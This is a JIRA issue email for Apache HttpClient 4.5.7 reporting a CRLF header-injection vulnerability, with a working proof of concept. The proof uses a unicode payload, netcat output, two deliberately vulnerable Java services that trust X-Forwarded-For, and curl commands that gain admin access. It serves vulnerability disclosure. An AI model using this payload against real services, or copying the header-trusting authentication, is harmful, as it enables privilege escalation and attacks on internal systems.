[ 
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16797961#comment-16797961
 ] 

Filip Ochnik edited comment on HTTPCLIENT-1974 at 3/21/19 10:12 AM:
--------------------------------------------------------------------

{quote}[~rschmitt]:

I don't think there's a reasonable expectation for applications to be 
"sanitizing" their own header values. After all, they're not building up the 
HTTP request by concatenating strings; they're calling a purpose-built API. 
It's surprising (or worse) that I can call {{addHeader}} six times and have the 
server perceive more than six headers.
{quote}
Yes, that's exactly the point.

 

[~michael-o]: For example when X-Forwarded-For header is used as a source of 
truth for originating IP address and some internal web service uses an IP 
whitelist for authentication. 
 You can also craft whole new requests using the above method, as it allows you 
to add arbitrary number of new lines to the request.

[~olegk]: Can you please address the first question from Ryan Schmitt?
 What's the difference between this vulnerability and the ones I linked above?

 

So that we're all on the same page, I'm attaching a full PoC of a web 
application that's vulnerable due to this issue.

 

Web service A: (imagine it's exposed on the internet)
{code:java}
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.ResponseHandler;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

public class Main2 {
public static void main(String[] args) throws Exception {
 HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
 server.createContext("/", new Handler());
 server.setExecutor(null);
 server.start();
 }
static class Handler implements HttpHandler {
 @Override
 public void handle(HttpExchange t) throws IOException {
 String query = t.getRequestURI().getQuery();
 String username = query.split("=")[1];
 String srcIP = t.getRemoteAddress().getAddress().getHostAddress();
 String response = callInternalServer(username, srcIP);
t.sendResponseHeaders(200, response.length());
 OutputStream os = t.getResponseBody();
 os.write(response.getBytes());
 os.close();
 }
private String callInternalServer(String username, String srcIP) throws 
IOException {
 CloseableHttpClient httpclient = HttpClients.createDefault();
 HttpGet httpget = new HttpGet("http://localhost:8081/";);
 httpget.addHeader("X-Username", username);
 httpget.addHeader("X-Forwarded-For", srcIP);
ResponseHandler<String> responseHandler = new ResponseHandler<String>() {
 @Override
 public String handleResponse(final HttpResponse response) throws IOException {
 return EntityUtils.toString(response.getEntity());
 }
 };
 String response = httpclient.execute(httpget, responseHandler);
 httpclient.close();
 return response;
 }
 }
}
{code}
  

Web service B: (imagine it's firewalled and only accessible from web service A 
on localhost. It uses X-Forwarded-For to authenticate admin user)
{code:java}
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.Headers;

public class Main3 {
public static void main(String[] args) throws Exception {
 HttpServer server = HttpServer.create(new InetSocketAddress(8081), 0);
 server.createContext("/", new Handler());
 server.setExecutor(null);
 server.start();
 }
static class Handler implements HttpHandler {
 @Override
 public void handle(HttpExchange t) throws IOException {
 Headers headers = t.getRequestHeaders();
 String username = headers.getFirst("X-Username");
 String srcIP = headers.getFirst("X-Forwarded-For");
String response;
 if(username.equals("admin") && srcIP.equals("10.10.10.10")) {
 response = "Welcome admin\n";
 } else {
 response = "Welcome user\n";
 }
t.sendResponseHeaders(200, response.length());
 OutputStream os = t.getResponseBody();
 os.write(response.getBytes());
 os.close();
 }
 }
}
{code}
 

 

Now run both services. We can interact with web service A to see how web 
service B views our permissions:
{code:java}
$ curl http://localhost:8080/\?userName\=foo
Welcome user
{code}
So far so good.

 
{code:java}
$ curl http://localhost:8080/\?userName\=admin  
Welcome user
{code}
That's also expected, since we're not coming from 10.10.10.10.

 
{code:java}
$ curl 
http://localhost:8080/\?userName\=admin%E5%98%8AX-Forwarded-For:%2010.10.10.10
Welcome admin
{code}
We just injected an X-Forwarded-For header and gained administrative privileges 
on web service B, even though we are not coming from 10.10.10.10.

 

So, to reiterate, please tell us how is this different from the CVEs I linked 
above.


was (Author: filipochnik):
{quote}[~rschmitt]:

I don't think there's a reasonable expectation for applications to be 
"sanitizing" their own header values. After all, they're not building up the 
HTTP request by concatenating strings; they're calling a purpose-built API. 
It's surprising (or worse) that I can call {{addHeader}} six times and have the 
server perceive more than six headers.
{quote}
Yes, that's exactly the point.

 

[~michael-o]: For example when X-Forwarded-For header is used as a source of 
truth for originating IP address and some internal web service uses an IP 
whitelist for authentication. 
You can also craft whole new requests using the above method, as it allows you 
to add arbitrary number of new lines to the request.

[~olegk]: Can you please address the first question from Ryan Schmitt?
What's the difference between this vulnerability and the ones I linked above?

 

So that we're all on the same page, I'm attaching a full PoC of a web 
application that's vulnerable due to this issue.

 

Web service A: (imagine it's exposed on the internet)

 
{code:java}
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.ResponseHandler;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

public class Main2 {
public static void main(String[] args) throws Exception {
 HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
 server.createContext("/", new Handler());
 server.setExecutor(null);
 server.start();
 }
static class Handler implements HttpHandler {
 @Override
 public void handle(HttpExchange t) throws IOException {
 String query = t.getRequestURI().getQuery();
 String username = query.split("=")[1];
 String srcIP = t.getRemoteAddress().getAddress().getHostAddress();
 String response = callInternalServer(username, srcIP);
t.sendResponseHeaders(200, response.length());
 OutputStream os = t.getResponseBody();
 os.write(response.getBytes());
 os.close();
 }
private String callInternalServer(String username, String srcIP) throws 
IOException {
 CloseableHttpClient httpclient = HttpClients.createDefault();
 HttpGet httpget = new HttpGet("http://localhost:8081/";);
 httpget.addHeader("X-Username", username);
 httpget.addHeader("X-Forwarded-For", srcIP);
ResponseHandler<String> responseHandler = new ResponseHandler<String>() {
 @Override
 public String handleResponse(final HttpResponse response) throws IOException {
 return EntityUtils.toString(response.getEntity());
 }
 };
 String response = httpclient.execute(httpget, responseHandler);
 httpclient.close();
 return response;
 }
 }
}
{code}
 

 

Web service B: (imagine it's firewalled and only accessible from web service A 
on localhost. It uses X-Forwarded-For to authenticate admin user)

 
{code:java}
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.Headers;

public class Main3 {
public static void main(String[] args) throws Exception {
 HttpServer server = HttpServer.create(new InetSocketAddress(8081), 0);
 server.createContext("/", new Handler());
 server.setExecutor(null);
 server.start();
 }
static class Handler implements HttpHandler {
 @Override
 public void handle(HttpExchange t) throws IOException {
 Headers headers = t.getRequestHeaders();
 String username = headers.getFirst("X-Username");
 String srcIP = headers.getFirst("X-Forwarded-For");
String response;
 if(username.equals("admin") && srcIP.equals("10.10.10.10")) {
 response = "Welcome admin\n";
 } else {
 response = "Welcome user\n";
 }
t.sendResponseHeaders(200, response.length());
 OutputStream os = t.getResponseBody();
 os.write(response.getBytes());
 os.close();
 }
 }
}
{code}
 

 

Now run both services. We can interact with web service A to see how web 
service B views our permissions:

 
{code:java}
$ curl http://localhost:8080/\?userName\=foo
Welcome user
{code}
So far so good.

 
{code:java}
$ curl http://localhost:8080/\?userName\=admin  
Welcome user
{code}
 

That's also expected, since we're not coming from 10.10.10.10.
{code:java}
$ curl 
http://localhost:8080/\?userName\=admin%E5%98%8AX-Forwarded-For:%2010.10.10.10
Welcome admin
{code}
We just injected an X-Forwarded-For header and gained administrative privileges 
on web service B, even though we are not coming from 10.10.10.10.

 

So, to reiterate, please tell us how is this different from the CVEs I linked 
above.

> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
>                 Key: HTTPCLIENT-1974
>                 URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
>             Project: HttpComponents HttpClient
>          Issue Type: Bug
>          Components: HttpClient (classic)
>    Affects Versions: 4.5.7
>            Reporter: Filip Ochnik
>            Priority: Major
>
> Hello,
>  
> Note: This vulnerability has already been reported using a private channel. 
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here 
> for public visibility.
>  
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when 
> adding or setting headers on an HTTP request. Attacker who can control the 
> value of any header in a request created using HttpClient could exploit this 
> vulnerability to add arbitrary headers and attack internal services, like a 
> webserver, Redis, memcached, etc.
>  
> *Details*
> The current version of HttpClient does not properly filter unicode values, 
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being 
> converted to `\r\n` and causing unintended behavior. When the value (or part 
> of the value) of any header set when constructing an HTTP request using 
> HttpClient is controlled by an attacker, it allows them to insert arbitrary 
> content to the new line of the HTTP header.
>  
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue" 
> simulates an attacker-controlled input.
>  
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
>    public final static void main(String[] args) throws Exception {
>        CloseableHttpClient httpclient = HttpClients.createDefault();
>        String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh 
> no!";
>        try {
>            HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
>            httpget.addHeader("X-I-Expect-This-Header", 
> attackerControlledValue);
>            httpclient.execute(httpget);
>        } finally {
>            httpclient.close();
>        }
>    }
> }{code}
>  
>  
> We set up a netcat listener on port 8080 and run this code:
>  
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>  
> We can see in the netcat output that the header 
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which 
> means the injection succeeded.
>  
> *Attack scenarios*
>  * By adding arbitrary HTTP headers it's possible to bypass authentication of 
> some simple web services
>  * Several simple services that communicate over HTTP (Redis, memcached) can 
> be exploited by injecting valid commands
>  
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
>  * CVE-2016-5699 in Python’s stdlib 
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
>  * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
>  * CVE-2016-4993 in Undertow web server 
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
>  * CVE-2019-9740 in Python's stdlib again 
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)

---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to